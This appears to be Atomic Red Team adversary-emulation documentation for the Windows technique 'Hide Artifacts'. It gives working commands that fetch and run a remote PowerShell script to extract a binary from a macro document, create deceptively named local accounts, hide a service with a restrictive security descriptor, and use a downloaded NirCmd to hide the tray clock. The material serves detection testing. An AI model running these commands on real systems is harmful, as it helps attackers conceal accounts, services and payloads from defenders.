Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015) Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)
This module extracts a binary (calc.exe) from inside of another binary.
In the wild maldoc authors will use this technique to hide binaries inside of files stored within the office document itself. An example of this technique can be seen in sample
f986040c7dd75b012e7dfd876acb33a158abf651033563ab068800f07f508226
This sample contains a document inside of itself. Document 1 is the actual maldoc itself, document 2 is the same document without all the malicious code. Document 1 will copy Document 2 to the file system and then “peek” inside of this document and pull out the oleObject.bin file. Contained inside of this oleObject.bin file is a payload that is parsed out and executed on the file system.
Supported Platforms: Windows
auto_generated_guid: 6afe288a-8a8b-4d33-a629-8d03ba9dad3a
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powershell
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$macro = [System.IO.File]::ReadAllText("PathToAtomicsFolder\T1564\src\T1564-macrocode.txt")
$macro = $macro -replace "aREPLACEMEa", "PathToAtomicsFolder\T1564\bin\extractme.bin"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroCode "$macro" -officeProduct "Word" -sub "Extract" -NoWrap
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Remove-Item "$env:TEMP\extracted.exe" -ErrorAction Ignore
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powershell
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try {
New-Object -COMObject "Word.Application" | Out-Null
Stop-Process -Name "winword"
exit 0
} catch { exit 1 }
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Write-Host "You will need to install Microsoft Word manually to meet this requirement"
Creating a user with a username containing “$”
Supported Platforms: Windows
auto_generated_guid: 2ec63cc2-4975-41a6-bf09-dffdfb610778
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command_prompt
net user $ ATOMIC123! /add /active:yes
net user $ /DELETE 2>&1
Creating a user with a username containing with a space on the end
Supported Platforms: Windows
auto_generated_guid: 5bb20389-39a5-4e99-9264-aeb92a55a85c
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powershell
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New-LocalUser -Name "Administrator " -NoPassword
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Remove-LocalUser -Name "Administrator " 2>&1 | out-null
The following technique utilizes sc.exe and sdset to change the security descriptor of a service and “hide” it from Get-Service or sc query.
Upon successful execution, sc.exe creates a new service changes the security descriptor.
https://twitter.com/Alh4zr3d/status/1580925761996828672 https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-string-format
Supported Platforms: Windows
auto_generated_guid: 333c7de0-6fbe-42aa-ac2b-c7e40b18246a
| Name | Description | Type | Default Value | |——|————-|——|—————| | service_name | Name of service to create | string | AtomicService| | executable_command | Command to execute as a service | string | C:\Windows\System32\calc.exe|
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command_prompt
sc.exe create #{service_name} binPath= "#{executable_command}"
sc sdset #{service_name} "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
sc sdset #{service_name} "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
sc.exe delete #{service_name}
NirCmd is used by threat actors to execute commands, which can include recon and privilege escalation via running commands via the SYSTEM account See https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis
Supported Platforms: Windows
auto_generated_guid: 2748ab4a-1e0b-4cf2-a2b0-8ef765bec7be
| Name | Description | Type | Default Value | |——|————-|——|—————| | nircmd_location | Location of nircmd executable | Path | PathToAtomicsFolder\..\ExternalPayloads\nircmd.exe| | command_to_execute | Command for nircmd to execute | Path | win child class “Shell_TrayWnd” hide class “TrayClockWClass”| | cleanup_command_to_execute | Cleanup command to undo the arbitrary command ran by nircmd | Path | win child class “Shell_TrayWnd” show class “TrayClockWClass”|
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powershell
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cmd /c "#{nircmd_location}" #{command_to_execute}
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cmd /c "#{nircmd_location}" #{cleanup_command_to_execute} -erroraction silentlycontinue | out-null
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powershell
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if (Test-Path "#{nircmd_location}") {exit 0} else {exit 1}
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New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://www.nirsoft.net/utils/nircmd-x64.zip" -outfile "PathToAtomicsFolder\..\ExternalPayloads\nircmd.zip"
expand-archive -path "PathToAtomicsFolder\..\ExternalPayloads\nircmd.zip" -destinationpath "PathToAtomicsFolder\..\ExternalPayloads\"